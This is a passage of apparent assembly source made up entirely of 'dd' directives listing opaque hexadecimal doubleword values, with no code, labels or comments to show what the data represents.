6D0C73E5h, 7FE6AF40h, 2500260Eh, 0A68C0FBDh, 204CE1h dd 2EE34493h, 6A0D9EDEh, 0F3401500h, 737FEA6Fh, 0CB130C3Ah dd 8C106C4Ah, 3D001F90h, 0D7CD8E74h, 0F48A529Fh, 7BF401AEh dd 0AAA67E9Dh, 3986809Eh, 8AFA149h, 7CDD2E19h, 27C100D5h dd 0BC6D86FFh, 0D6AB8404h, 24C06232h, 1A37260h, 31B19666h dd 0D82380DBh, 75000F55h, 92BC61CBh, 22CF1A9h, 0F9D3A26Bh dd 0FF4056A8h, 0F7ECE778h, 0D0617600h, 0C987E10Fh, 0E3AB0F7Ch dd 0F575C4Ah, 2540AF72h, 90A1556Eh, 27668B0Fh, 981660A6h dd 2C440E7Eh, 0C7B2BDh, 20071054h, 220069D5h, 0FDB4AFAAh dd 0A1F39Ah, 9D93AC0Ah, 0F86149Bh, 56505E78h, 0E10036B4h dd 482DC465h, 1D5C019Eh, 3B086341h, 0E88E5F00h, 360E2305h dd 485AC53Dh, 0FA521877h, 98A4E4B0h, 20F61230h, 99C10096h dd 0CC0BFC71h, 7277089Ah, 3442FA00h, 0FB0D0998h, 9DC50076h dd 58A00A0Ch, 0C20050F9h, 0E9832A52h, 0F76FEAh, 85792EC1h dd 0F3F2E32Dh, 0CC31C301h, 12BB8BA4h, 0E461FAECh, 256000FDh dd 0EB1C17E0h, 0F8000B1Dh, 0B1A6AA06h, 805630h, 1B7A18A8h dd 0D9275062h, 12BCA91Eh, 24B5FB46h, 2EEF0AB8h, 0FA82051h dd 0E40BF62h, 70890969h, 2464BB00h, 4753E332h, 0F2E724E6h dd 15B0078h, 0F1428198h, 8A0031F0h, 0B5A7D145h, 0C976C0h dd 0ED2DD214h, 0CABA5F6Fh, 0C400F67Eh, 477F207Ah, 4C739BF5h dd 6114045Bh, 0A0806C32h, 0E5245DB7h, 21370700h, 113A3BB0h dd 935200ACh, 0CA624B40h, 0F03DE6CDh, 4F618E69h, 4DB2C0C5h dd 0F0129531h, 796F04A1h, 809DC627h, 0F787749Ch, 47925300h dd 0A0FCE2F0h, 4DB601A5h, 1875F9B8h, 4D880AFh, 324EC031h dd 848007Ah, 3E24E51Ch, 0B0B0C80Fh, 0FCA392A1h, 0A4B0E01Ah dd 9970C22h, 0ED4B7719h, 3554015Dh, 0AEE857CCh, 0E2F30039h dd 17600FF4h, 0D3014D4Bh, 35FA3F38h, 0D5701FC2h, 78893FB1h dd 115A2A80h, 77F6E2EDh, 3E487000h, 26B0A671h, 2B280330h dd 0F4D58D64h, 68940688h, 1C11A31Fh, 1017A0A9h, 0F53E1000h dd 0ECD9F1h, 0F24E6CE4h, 0CBFE3FBFh, 38731E00h, 29200485h dd 8DFB02C5h, 0D77D5095h, 73629483h, 0E5C054A8h, 667E6301h dd 0BED88AE8h, 29954082h, 0C1C624h, 76F1C47Bh, 376C8200h dd 7FF43EE0h, 19FB00CCh, 33C0E831h, 3A0009AEh, 2A98FDE1h dd 579412h, 9562738Ah, 0B7DF606Eh, 9BF06500h, 9FEBA517h dd 0C7AC000Dh, 0E7733CE0h, 0B60FE28Bh, 0C0E36E14h, 0B99752CAh dd 0A9952410h, 0E50E005Ch, 0D77A9829h, 430055FCh, 0E626C7EDh dd 0F262F3A8h, 0B71728F2h, 1F3F00D2h, 0F65174D6h, 590028BEh dd 0DB8AE503h, 0FB532981h, 58A714E8h, 3A04E858h, 30073424h dd 587B5CB3h, 6EA1D876h, 0B5002008h, 5D39360Ah, 0C200A487h dd 0CB245855h, 4CBE0030h, 0F9EA1A13h, 9C005A07h, 0B922006h dd 0F2A92880h, 9430077h, 560E8F6h, 13034F87h, 88250F5Eh dd 69CAC0F2h, 0FE180040h, 0B8C800Dh, 9604D7C0h, 0C2884D16h dd 82F50490h, 7B592889h, 1B5B05ACh, 0BFD9Dh, 8B6ECCCh dd 0AE02FA0Ah, 0D4C97C9h, 0BCE48089h, 1C81EEBDh, 800E7751h dd 8AA31641h, 27032E4Bh, 0D05F22FDh, 6CAA00B7h, 1796030Eh dd 0CE1D3FB8h, 6D8097E7h, 0B5FF7324h, 40916C5h, 0CD68009Dh dd 5E51EE4h, 0DB5B5700h, 8194D936h, 476400D5h, 0A8FF56C6h dd 76001851h, 5FEEF09Dh, 0CE6ADFh, 8A465770h, 10868321h dd 2E0D3Ah, 0EAA4AC6Ch, 3F45F849h, 0C507E49Bh, 0A005BEB7h dd 0B6AC9F0Eh, 48FAAF3Dh, 0D89E006Fh, 727E4C38h, 7E287BCCh dd 5D140C09h, 9E609119h, 0C877D47Dh, 28F738h, 593B8BCBh dd 0DB561Ah, 0CFC9783Fh, 0BBD9B618h, 7772717h, 0E8F2B006h dd 0CDF90040h, 33AD3439h, 0FE8B970h, 7DF05000h, 0A858E899h dd 3071EDh, 324B9C9Bh, 0C22DCCC7h, 83161E3Ah, 1FBEA253h dd 26180A46h, 0C238869Dh, 88040BF3h, 377F075Ch, 22B380DAh dd 0B5006C6Eh, 862EB3Dh, 0EA9B3391h, 0CFC73B36h, 0EF235400h dd 3CCE554Bh, 0FCBE300h, 9E32DCD6h, 0CCD10048h, 8AB791BEh dd 0B4A8C65Bh, 4460C102h, 0F71CA690h, 0B5DB3D7Bh, 80D2A703h dd 93B8BF82h, 0E0004CA4h, 0D905E12h, 0F665B844h, 0CE0900D9h dd 1C27E888h, 48FE12C4h, 0ACE62E03h, 1258772Dh, 0FFBA58h dd 0C0EF784Eh, 358DBC6h, 0BE9D00ACh, 7A819010h, 0B9B20075h dd 9B14B158h, 3460AB0Ah, 0ADDB4620h, 224E01C6h, 0B6AF5540h dd 0E380C6A5h, 5BA69A8Bh, 27FCC250h, 0E205F000h, 18461D98h dd 0A29C00ABh, 8DEE4E41h, 290169C5h, 8E0F8744h, 0D530C1AAh dd 6D8CA078h, 7607005Bh, 6A7CF12Ah, 0EF00929Ah, 6F55F396h dd 0FA5D6h, 372BE5FEh, 0E925339Fh, 0ECE48300h, 51930ECDh dd 8A900024h, 65E23D3Ch, 4A00D03Fh, 0B544C6CFh, 0FD41B8h dd 1B98529Dh, 748318E9h, 809F9A3Eh, 0ECE744F3h, 0BC753Ah dd 2ED90FB9h, 0C8A60D4Bh, 0FE011BEAh, 0FDD5E16Ah, 0CCDC2607h dd 0E62A00A8h, 0A1D399B8h, 0CBEAC972h, 26A9BF0Eh, 0C03E4F1Fh dd 686CF80h, 0E8830028h, 0DE4ED6E3h, 44006533h, 532767FEh dd 989EB0h, 70FC2413h, 0E0A0CCCBh, 29264800h, 833499F5h dd 4457002Bh, 0D37BFDCFh dd 7700CD27h, 0F6AB1D52h, 2EAD3Bh, 0B6A4C654h, 0C105535Dh dd 0D8515E00h, 0D4079D4h, 66E60246h, 9AD2B8A0h, 523280DFh dd 0C8B47Bh, 0DC748FCh, 2688E493h, 87203901h, 50B9AC4h dd 2B84E941h, 7B10ECh, 41551477h, 578173EFh, 0EC6A9200h dd 0B23A1999h, 719E0065h, 3602A469h, 0C4073D7Eh, 3FDD726Eh dd 818CB620h, 0E3D70786h, 37C6A2B5h, 5F54004Dh, 1D07B4C9h dd 2B49AA2Dh, 1B96004Bh, 0CC38FAh, 9DE547A7h, 3D21C248h dd 78DF2701h, 41356949h, 0F831CCh, 0E3898F43h, 0E4AD3DA6h dd 26604500h, 4FFB021Dh, 400464DAh, 0F762C0F9h, 7B05B5D0h dd 829A5EA6h, 5AA010C0h, 8A9E00CFh, 3FF14BD4h, 0DF00D063h dd 33C90AB9h, 68C19Fh, 0A5803A35h, 34F1FF3h, 5FEF2D00h dd 10DDCC0h, 0B05D706Dh, 67280015h, 0E5BFA7Eh, 4D031474h dd 44A28773h, 111AD075h, 9E2D269Dh, 215E132Ch, 0E47A9300h dd 0C4016EF0h, 227D48B9h, 0C7D06D82h, 0D92B006Ch, 1CFD1A34h dd 0CD008A73h, 353703D2h, 0E0BE9817h, 0B51900B2h, 78A333C8h dd 2EEA1238h, 0D0911F00h, 8342F75Eh, 131EE23h, 0E89FCB03h dd 0BCFC7FF0h, 5CA40088h, 50DE30CEh, 97EF009Bh, 0DD6C5BCFh dd 760C4073h, 785ED744h, 82150378h, 9DA68EC2h, 1013B0E8h dd 0BFEB8D18h, 1326C066h, 0D96AEEh, 0C3BA8E17h, 6776205Ah dd 9BAEDB03h, 0C2CA5B4Ch, 1A2F40DAh, 0CA800B7h, 32F6C035h dd 6A014195h, 6268E18Bh, 42F063F4h, 0CEDA093Fh, 5E802E93h dd 71C97398h, 0D9A85102h, 40CFB5E7h, 8966DCh, 8045E82Dh dd 8FF48C1Fh, 51DC4800h, 0D53923D9h, 2F9A0393h, 655D0D6Bh dd 9D4DC0E8h, 7754EA07h, 0A8474EE0h, 61F68B50h, 0F2A70002h dd 8985C3A9h, 0CA017C50h, 0ECAA3A56h, 32F0CDA3h, 0CEC500DAh dd 94B4D3EFh, 0A43CFE93h, 579C003Bh, 13F56DBh, 0D48E17F7h dd 21711331h, 32C39080h, 35BD07FCh, 2E41CDA4h, 0BFCCCABh dd 3B7A51h, 96F69164h, 0B22AACAFh, 1C4E6800h, 0CA4385CBh dd 16900EDh, 7BC2EF5Fh, 200367Ch, 973A219Bh, 18CC6FFAh dd 0A4F7D89Ch, 0A60040F2h, 0E8D7A091h, 0F4976ECBh, 14E20158h dd 0B8C0CC83h, 8480F0EDh, 2C52A700h, 96D485A6h, 0F1C40104h dd 43AC5F75h, 951820FBh, 8F0F24F4h, 870F81F4h, 0F7B0337Eh dd 2C78B8AEh, 540134Eh, 80252A61h, 0B71134D8h, 695A771Ch dd 9163A240h, 0F439B48h, 2A7AB06Bh, 0C8F90036h, 0DBEEB706h dd 347A6AF4h, 80199D3Ah, 13E7CE7h, 1C93DEh, 8A917ECAh dd 0CDA0AF43h, 556E6103h, 98BBED94h, 0D5B186h, 29EF7190h dd 36FB62A3h, 4CAC8400h, 0B8C499B6h, 72C01CAh, 1BBD46A0h dd 564730A4h, 1AA37C00h, 0C339AC9Ah, 459B0008h, 0CA13104h dd 0D47424B8h, 51A9DD0Fh, 20CBAF96h, 9248BFF2h, 0DE970017h dd 0FBB2A057h, 0FF00BB4Eh, 0C61BDBA2h, 7E274533h, 154700D2h dd 7D6AD91h, 0E500DEBFh, 43BC4C6Ah, 39C17A9Ah, 9C9D9052h dd 9698BFBh, 32ECB183h, 2D613488h, 433BFA00h, 6B93BF8Dh dd 13E29Ah, 596CE275h, 7D2A78AEh, 0EFAA2800h, 71F81AFFh dd 0F072E0h, 89B0DA46h, 0BC87FE63h, 97E36A1Dh, 0DEEA0641h dd 16D0C384h, 0E53C0031h, 0FF1C1ADh, 0EF01DAD7h, 0A1657634h dd 0CF70ECB6h, 0F72C0099h, 729FA36Ch, 4300080Ch, 4C85F548h dd 7B6D79E1h, 508003A6h, 70EFAB89h, 0B23B0288h, 5323D000h dd 2E514B5Fh, 31571B24h, 0B4C0199Bh, 0A0982A03h, 0CA10C301h dd 0DB409E9Ah, 222B3480h, 3B736184h, 0D9641501h, 0CBDF3807h dd 7D54ECh, 0C61D23D3h, 0EB4C09B8h, 8CA9DE00h, 1F905BD6h dd 0BD130FFDh, 6261A831h, 0DC7976D2h, 2600E460h, 0FAB36C7Bh dd 502A7750h, 0F8E39B44h, 0E6831686h, 47A20ED9h, 0DF890620h dd 6C00F275h, 403BE254h, 3B72B1FCh, 1103D527h, 866A4EF6h dd 0C6C836DBh, 210733BEh, 3EA727C5h, 0DA003017h, 79824EF8h dd 0AEE90055h, 0E174A6Ah, 3D0354AAh, 1B974DBBh, 1F08A064h dd 47A1A08Dh, 0B8A3039Fh, 0F62FE572h, 999BF0D8h, 0A900EDE0h dd 91424C28h, 0E90A3BDh, 2ED1835Ch, 0D9E7A0C0h, 0D31FC570h dd 0C6C062FDh, 0FB6375F5h, 0E968012Ch, 188261C7h, 0EBCCE409h dd 9ED79B0Eh, 0DD00F6FFh, 441BBFF3h, 3B70EA7Ch, 0A080C51Dh dd 5FDDF758h, 5E003623h, 0ED378A9Ch, 9A3FFDh, 53072284h dd 74E28BC5h, 0DC0BF507h, 1DE3FB7Fh, 0F357A8D6h, 0B72C005Eh dd 128A47EBh, 0A401364Ah, 6F2FBE84h, 78E85C3Eh, 729B00FDh dd 0D14943A8h, 0A3037F47h, 3B5F5738h, 0F2FBE8DFh, 0AFE0083h dd 0DEFAE192h, 5400BE24h, 0C3EA7E41h, 882E53h, 0E81A608Dh dd 72A7E702h, 5019F01Fh, 0EF752940h, 6E1F40DFh, 7A8051CBh dd 94CC01D9h, 8FBE0197h, 38837624h, 0DC93F417h, 2CE1282Ch dd 0D5C1D100h, 72992D3h, 346D2F73h, 0F49F703Dh, 103CEB0h dd 7884148Ah, 9B2AC045h, 2C36006Ch, 5E5D3C6Bh, 0EA00442Dh dd 41788610h, 0E3ECB4h, 4BE4B28Eh, 535AB650h, 0CF8F8200h dd 4F798337h, 816114B7h, 8000E0F4h, 0C5590A5Bh, 0EF07E576h dd 481B7221h, 0F5093333h, 0AF5CAEC1h, 0DD7070h, 1C3CF6DEh dd 8B080A39h, 0E16FC10Eh, 7BD000CEh, 0B6BB9h, 80A6977Dh dd 0E42809F5h, 0F7BDE106h, 74718185h, 3012EE6Fh, 0F510EEC1h dd 0F9702860h, 4C577D07h, 5840ED10h, 126D2A2Bh, 37EDE80h dd 40B6D1EEh, 265CA390h, 72F3E300h, 53D97D25h, 312D0008h dd 0BAD80E1Fh, 34020410h, 0F921A3E1h, 5624C074h, 28790080h dd 51184F76h, 750AD284h, 44C4129Ah, 0F93A7204h, 0CB136C91h dd 0F1F02FC1h, 0A39079h, 0ED2EEEC3h, 9A9869A3h, 3DAD7307h dd 9360B9CAh, 0F4FCE3C4h, 0B8C80089h, 36F4F82Eh, 531FE17Eh dd 5640C2D6h, 281EE2E8h, 0B8CF0098h, 0A8018B47h, 0BA006DCBh dd 0AA84FB2Dh, 313514h, 339694D6h, 0D747BFD2h, 8E9A6000h dd 0FDA155F7h, 0ECB1CBA5h, 14DB2D00h, 71008FB4h, 75EE58D8h dd 5544D596h, 0D087B86Ah, 6725B866h, 0EA768362h, 36B5FBB0h dd 63219CE5h, 5A2BA901h, 398082D8h, 1A0326D6h, 8B608A58h dd 856DC529h, 372D008Eh, 4C824559h, 0A600ACB5h, 4B4FCD6h dd 7DA9F81Ch, 9E59C0E0h, 0D64CE8A7h, 8C43760Fh, 0D903C0EEh dd 1673DF9Fh, 7A8121Bh, 0F18B69A8h, 0F0A51ADAh, 1500F296h dd 0FEDE84C0h, 0A9D559h, 8F616DC7h, 99F030F1h, 78EEE803h dd 7F7DD71h, 0F8BFF5D8h, 0EAE1CED3h, 0F4B975ECh, 720033F0h dd 0BDEE8934h, 1D047098h, 9D808FCAh, 0F6928CA8h, 4F0027A8h dd 0DBB77DB4h, 7F05895h, 6DCE1EE8h, 70CB85DCh, 25D45704h dd 0ED076C7Ch, 0A66AD02h, 29CEB6A0h, 50840C52h, 4B285A7Bh dd 0B8133801h, 65C74CEFh, 0CAF201h, 8E669Ah, 0C2DD93F1h dd 693BC6E8h, 54E73Ch, 0A760EC95h, 229AE93Fh, 9E228675h dd 898AEEE7h, 442508FCh, 51C0CA83h, 23AA7733h, 638A00A8h dd 0EDB29259h, 950135B8h, 7394C4D6h, 0DDE07C3Ch, 252801D3h dd 0C88B34A5h, 749141C6h, 9C7DC8E4h, 2E970500h, 904552BEh dd 952C0067h, 0DD66A5D8h, 1600DF1Ch, 844701F3h, 1C8D73Ah dd 67921F4Bh, 430FF211h, 100096D0h, 1666231Bh, 0C32EECh dd 0A6FE31FFh, 0A0831359h, 0ADE78BFh, 0F1DC3690h, 2A4F00D0h dd 610310EFh, 0FE3DDB00h, 0D9CEA58Dh, 9CBB00D6h, 202BB929h dd 0ED7721F0h, 0F29B98C0h, 3FB24012h, 4F0019F8h, 8822F173h dd 25003BA8h, 8E538D3Eh dd 730DB75h, 365C141Ch, 131110CBh, 0A41E1EEDh, 7B4BC923h dd 0C21F00BDh, 1D20EA53h, 7CF584E3h, 1BF28B0Eh, 0F929C07Dh dd 0E83DC9A4h, 0B8765C01h, 1AD7A820h, 0D470ECh, 778CFBD6h dd 5BA15968h, 2CF44900h, 15AA7193h, 0A0B8A3h, 0F9EBE80Ch dd 3AF6FA94h, 1C514E00h, 4D84A75Bh, 65EA007Dh, 476E3999h dd 0B7187280h, 0DF289409h, 0DAF12E03h, 91D200DEh, 7E243285h dd 8723263Dh, 28FDC9A7h, 3CE02FB0h, 204901FFh, 0B08CFAB5h dd 0C157DE1Ah, 0AA6090FBh, 0D0E03D03h, 0F7508780h, 2636EAFBh dd 4273D400h, 11D97240h, 0D8920048h, 0DE3F1BC3h, 0FB006CDAh dd 5D54241Eh, 0A0233h, 0AABDE473h, 4492C4FEh, 0A253F400h dd 80378BE3h, 7E1501BFh, 0C57762C7h, 0A434FC7Dh, 29BBEC00h dd 80B2A285h, 4BC300D2h, 680AD1EEh, 990077ACh, 0F352B802h dd 637C69h, 0C7543D55h, 0CBB473DAh, 0A070B91Dh, 8590B601h dd 0BED4D43Bh, 0D9E200DBh, 0F2694E14h, 39009BD0h, 95CD797h dd 3537FEh, 2DD18707h, 9860325Eh, 0F1447300h, 0ECA3A05Ch dd 379600E8h, 5B56804Ch, 0B97F85CCh, 42EE3D00h, 606C59FBh dd 3CC10720h, 909C1726h, 3D2B41F8h, 37C6F000h, 0CB535F30h dd 0BDA100C7h, 7D6F4A5Ah, 0F71C889Dh, 0B88003DBh, 0EE08E7A8h dd 1C570011h, 0EAD45DC4h, 9000BE3h, 0F73687E2h, 31B8E90h dd 97754ACDh, 0F1B8706Ch, 6900D509h, 0AD35FE4h, 1668CC0h dd 6572F84Ah, 70445CB0h, 640E55CDh, 0E0592B25h, 0C92A4812h dd 766A00A3h, 0F0068B0Fh, 0A02D298h, 0BEEBE05Bh, 0B26AC022h dd 5C2A1D97h, 0FA37C0DAh, 4646698h, 35DC3D02h, 0E344B417h dd 0DF8EA992h, 7B4EF4h, 0EF58A526h, 0C3041A72h, 0A2D4F000h dd 6EC6BBE1h, 62D000Bh, 0C80E9DEBh, 33003A7Eh, 7C546B5Bh dd 393532FDh, 0F003F72h, 70F3FFADh, 0D0005329h, 17A0051Ch dd 0BF3CA9h, 62CBF866h, 403D5EB3h, 0B004CE0Ch, 5724A9Ch dd 57E96CDDh, 9812ABh, 4442924Dh, 7A00BC47h, 9AD6CA67h dd 0F4AEC4h, 1DE6E121h, 4396B5C5h, 1AEB1400h, 0F9362D9Bh dd 3F3F7F84h, 0A00DD76h, 0DA04A7BBh, 0CF7C1EADh, 0B830BE07h dd 0AA11DC8Fh, 0AC423419h, 136041B2h, 0D2EDFCh, 0DCEF225Ah dd 71F47ECBh, 6D312600h, 0F27CC9F5h, 9C05075Dh, 104E43DBh dd 19E08521h, 50CAD903h, 0F8AD22C2h, 4152BC0h, 62A531C4h dd 0D482C0A2h, 2EF84DC7h, 0ABDDD100h, 32180BE0h, 732F0F74h dd 4D0FE107h, 71E44FE1h, 0C71EF044h, 161ED470h, 0DC8088C2h dd 0F9A9952Dh, 52CE0EEBh, 6F63BF91h, 1000A6D5h, 0ABC96613h dd 0E5F1534h, 60C57449h, 122C45h, 8AB3D058h, 0EE5E94C2h dd 58D493A1h, 19FD0052h, 47B43A29h, 0B6012669h, 0ED187DD4h dd 20807B89h, 0AA30EC0Dh, 0DC3D1DD2h, 297A01CFh, 0E3BDB373h dd 6FA81080h, 2E519921h, 0B405BC1Dh, 0AD00345Dh, 832681ECh dd 42950049h, 0FC841101h, 4C133A93h, 5B1FF273h, 0ADF0B084h dd 0EDC00080h, 0E4F50141h, 0DEA71A34h, 0CC0BD878h, 30F3443Bh dd 29B3F0A1h, 0A68403ABh, 0E132CDACh, 75D9B4F8h, 0F8AB100h dd 727631DBh, 0A766004Fh, 1C828D5Ah, 81005CA2h, 0E698631Bh dd 3F51D11h, 0D03B7049h, 6EF84B1Fh, 0B500E34Ah, 0CD41DE94h dd 0D86663h, 0C116A265h, 0BB4FFBEDh, 27EE2A00h, 0E2020A8Ch dd 0E57F0014h, 0EB8EF80Eh, 0A200AAE7h, 1E46539Ah, 7EA1CAh dd 0E1803A03h, 25EE32Ah, 0D7923600h, 6125DC52h, 1BC2396Eh dd 31826900h, 0D493CD1Ah, 60AF7104h, 0F1C05572h, 0F06DBA91h dd 0F1CB00B1h, 6B9D598Bh, 8F00FC81h, 3FE8949h, 311C12Dh dd 60C958CEh, 27D2D817h, 0CC1C21E1h, 0B409E35Bh, 31FDC2h dd 56B19F7Ch, 2E7576ABh, 25A6CEh, 0E70B950Ah, 47F404D4h dd 1E6FCA01h, 0AEE1F9ECh, 58CC70h, 8292B13Fh, 5ACC48A3h dd 4500B990h, 8DF24D67h, 0B0E246h, 0F91C0544h, 4F533FAh dd 0D18C9906h, 30D362h, 0E1FBEA54h, 5BACBD0Ch, 0AB197960h dd 0E77CE6B5h, 2090F5DCh, 9B00D4B7h, 5CB45238h, 3C591Eh dd 0A6C451ADh, 0BD6C7717h, 7300307Dh, 5B247F46h, 6DABA0h dd 1064FA09h, 1FCF54D0h, 0AA22E6C0h, 0F472563Ch, 16E90097h dd 0C83F5B9Dh, 6701B59Bh, 0A30F105Dh, 1C30D312h, 0A6B10755h dd 40BCD245h, 0BFBDF29Fh, 0A3D7CE00h, 79EE222Dh, 30DF0001h dd 422C4DD6h, 0C101AB93h, 0D1F20F80h, 91602D14h, 0F4D90E57h dd 0D4CC39Bh, 18005F18h, 71134886h, 1D5BC91Dh, 40ABA612h dd 4BEA809Dh, 0FC7767FDh, 0E776C800h, 792B0E58h, 0A7351FFBh dd 2C6C40D3h, 998CD675h, 9BD12A00h, 0B81DB1C8h, 48620094h dd 0A927FA9Ch, 68008CA8h, 0E6B65E8Ah, 54CFFE8h, 0D66B0328h dd 0EABC40C8h, 3296F50Eh, 2723A100h, 0DFF9826Ah, 8ACB4C75h dd 0D0151400h, 8DBEB7B9h, 32AA7000h, 1F5940C0h, 0CB4F001Bh dd 62A3D01Ch, 0DD00C874h, 0FE4CC3Ah, 0F08A46h, 0E754BA43h dd 0CA271BD1h, 0A00D0400h, 624C0FFh, 7D39005Fh, 0A8FE4AF8h dd 14009A20h, 0BFD42750h, 5BDC53h, 0CFCDED39h, 87DA432h dd 0C0992B00h, 62CCE929h, 0A0831285h, 0CFEF0E0Fh, 0E62E3920h dd 6C0C81B1h, 18FE0A27h, 9F4700A7h, 2003DD73h, 0E90B1219h dd 0E159586h, 31F4C03Ch, 780E60h, 5AEEA5C0h, 59ED8943h dd 7C4E4000h, 0CE3B5DB3h, 789902F1h, 9D621615h, 434FE3C0h dd 0A2249200h, 0A3060748h, 44A003Ch, 73FB355Bh, 0CE719B96h dd 2AEAD200h, 8A50D068h, 0A5BD0038h, 6482F98Fh, 0F0001C6Dh dd 20C06546h, 0E8F3A3h, 0FF5169D7h, 2C08E1C1h, 0A6F1721Eh dd 4F33EC80h, 0EE4247h, 14B21C22h, 0C3FE2C09h, 0AE1E2AFCh dd 3A8F2321h, 19E56084h, 4A7C81Eh, 48A5A183h, 0CFBA808Fh dd 0C6004D78h, 7B7FE5E9h, 3EBFFh, 22495BE8h, 1A966E4Eh dd 42415D0Bh, 0B7F50056h, 3B1C7BA9h, 17709B0h, 0E3CC0F1Eh dd 804DD47Ah, 15AEFB30h, 1C6A9E68h, 0C01CD9h, 19125614h dd 0A500C1B1h, 0C552AEF6h, 14C2B8E9h, 9402BC91h, 4C6E4E11h dd 7ADE1DB9h, 211072C0h, 1F0315ABh, 40236473h, 0AE59E16Dh dd 9D00D7E2h, 0DAB279CAh, 77941DCEh, 30EA245Dh, 649E0004h dd 0C192E40Dh, 759DB200h, 21CDCF35h, 0D96D0051h, 6391D031h dd 860068D5h, 416B1CF4h, 0FCFE60h, 0ABDC49DEh, 3A1B1504h dd 0CF00347Bh, 9819D410h, 0A4593Eh, 6E1FBDF1h, 71862860h dd 41724000h, 466820D2h, 6CCD0059h, 4EBAE7E1h, 0B40282CBh dd 6AB85137h, 46D0812Bh, 4C2080B9h, 0F5BB0049h, 81050431h dd 180082D9h, 0BDC0E9C4h, 12FF5A66h, 1F2796h, 952B7F2Ch dd 0AA181698h, 5E407E1Ah, 0BBE300F9h, 0F3E64EC0h, 0C200BF60h dd 3369D616h, 0BED1B5h, 2EF6ABA5h, 5E494129h, 9A036378h dd 8A23FC16h, 77EEA91Bh, 38919180h, 0EB2C3101h, 0CC6B6128h dd 0A93C4901h, 0C82021ACh, 18C45080h, 2FB6AF4Ch, 29068332h dd 1A9F403Dh, 840D005Eh, 249B2B18h, 0CD028F59h, 783A0DAh dd 0F7D08025h, 9E326C1h, 0BD0DAB20h, 0C8E7000h, 5E00F8E0h dd 17555FE7h, 26834Fh, 8A3B337Dh, 12A175FFh, 0A9E29A04h dd 0EC902CBAh, 10F6Bh, 0ACA45785h, 5302D7FEh, 4A01C676h dd 0DCE7BE3Eh, 0D0EF01DEh, 305F45A4h, 3EC90A6Fh, 0C403BA9Ch dd 0B6A781A1h, 4151B8EFh, 3B587283h, 8F00806Bh, 0B4AB9FBBh dd 0DA307FB2h, 56AD1092h, 0CE0B0044h, 9886A942h, 0F3E6E8A7h dd 29923Fh, 9372D44Dh dd 41373D3h, 71EAE27h, 0F8C480CBh, 23006F7Eh, 9A178E37h dd 418A97h, 4AE73071h, 6D75B8D4h, 54C74300h, 38FE73D2h dd 2621308Dh, 858BD311h, 0BB025503h, 0A3B7E345h, 18C5E0D0h dd 7E8014FDh, 0A630B80Bh, 2D4E5F31h, 69123505h, 0D080ADB2h dd 90270447h, 842F01FDh, 88317D4Ah, 6ECC456h, 0B7CFA900h dd 0C33CE825h, 308E0EC6h, 11C0714Eh, 6D70B863h, 8929C400h dd 0C93D9976h, 0ACD50E0Ah, 1DEA64E2h, 0B90900CCh, 0F2570D4Fh dd 7AD04B0Eh, 8920A391h, 0FFEBC896h, 48C33AB0h, 0D39D900h dd 0A88D9772h, 2026ED0Eh, 444D643Ch, 60A32C82h, 97C2354h dd 0A9038C04h, 59AF1800h, 660091BCh, 966D77A3h, 0F0609B62h dd 6CBA3C84h, 0DCF8A40Eh, 0FA72FEE0h, 0C217CCD4h, 1F006F53h dd 9FE125E0h, 0A2880793h, 70D42390h, 0C3A7D57Ah, 1E97DF18h dd 0E81168h, 0F63BDBD2h, 0A2166255h, 5F942800h, 769AE698h dd 0F00760A1h, 0DDDE47E2h, 5122FE00h, 9DD09F42h, 96C00123h dd 355D787Eh, 9E49C45Fh, 0D1F36B00h, 83192CA6h, 0E90E00EBh dd 8CD37A98h, 481D6EB5h, 64C0D69Dh, 0B7A37295h, 44220118h dd 0AD5B590Ch, 0D4602410h, 267A0900h, 4BBD5D91h, 53472C32h dd 18764050h, 0DD28CEFEh, 4400A46Ah, 0EE1EFC87h, 9CBFE5h dd 5E27685Ah, 0D0DA0F01h, 57D6EA05h, 0B000768Ch, 1C131462h dd 97AC00BBh, 274B40FDh, 23014209h, 218582FCh, 0F831B154h dd 0CECFC8h, 0C69F576Bh, 0A8E271B8h, 0C094744Ch, 6DC04EEAh dd 0A55200B3h, 49ED5516h, 3F7B485Bh, 1861D000h, 85D2C525h dd 95D42C92h, 0AAA20F90h, 0A3B3F2A3h, 2D598DE8h, 18857207h dd 3603996h, 8B8971h, 1CEA1B7h, 0BC730D28h, 75529F05h dd 0B080A2A9h, 90606AF2h, 870539ACh, 5D00C83Ah, 0FC98710Ah dd 0F7012079h, 0DC59F23Bh, 0A8EB4567h, 5A2DDh, 108F9EBEh dd 0D0735108h, 931F9602h, 681B9929h, 7243FD98h, 6970075Fh dd 30754EC4h, 0AC3080Eh, 0BCA06FE6h, 10034C8h, 0CF5161CDh dd 217B862h, 0BF6DFFC9h, 2862D43Bh, 22055363h, 751A15D7h dd 6A0C7880h, 1F440035h, 0FD0ECA81h, 2B00AD08h, 0D4DBAA53h dd 0FC6F26h, 2EAEC098h, 0EAE2E057h, 108C9E4Dh, 4A810B8Ch dd 0D0E6DFDCh, 7C01510Fh, 1F28BAA1h, 0D1CCA835h, 0EDE109A2h dd 0A4005B97h, 28052160h, 0C07DA100h, 0F04E9AB0h, 2EA60011h dd 3DE19939h, 0F4E4694Bh, 53512900h, 0B8D603DFh, 7DCB00ADh dd 7FDB859Ah, 1D729FBEh, 4F2D020Fh, 8FC2C0F5h, 3F9891FEh dd 4C85A66Bh, 80F1D73Ch, 3E8B595Dh, 40030AF6h, 827CCDDFh dd 0BF20B0BEh, 6D5009Fh, 163711ABh, 0D97936B3h, 75FAB800h dd 0E045E984h, 25E21CCCh, 7C62CE02h, 108027E9h, 3E689666h dd 0B416D800h, 47DE2BD2h, 20690044h, 0C8DF5D0Ch, 0D00CB51h dd 678BE003h, 8542A1h, 35A0FEE3h, 6C6C80Bh, 22005CB2h dd 86F56B1Fh, 0E2598C0Dh, 0B72B0041h, 144B1D38h, 1C0046A6h dd 0ED353A83h, 0B861A0EEh, 7827E93h, 716006BBh, 0EEFE0CDh dd 921FCA95h, 98802A7Eh, 64C2288Ah, 34A90185h, 293F9EC6h dd 1AED6061h, 0A23DE403h, 0DAD49B1Fh, 7898C4BFh, 3B9C0EEDh dd 0C15FD173h, 4162EABEh, 8010BF72h, 3E915429h, 12F09480h dd 0CD2863h, 37B39C40h, 0F60235FEh, 941C298Bh, 0DF1C407Fh dd 2A5E1D25h, 0E3D004Dh, 0B6AA59D2h, 8362110Fh, 5C2EA0E9h dd 9A9B3h, 0DE42D4B0h, 3B7F031h, 78516F00h, 83240CE0h dd 2747008Bh, 93A55D28h, 1A01F44Ah, 6C8FE90Fh, 0F020EA3Eh dd 7A8400FDh, 0EBE381CCh, 64E71034h, 6100F6B8h, 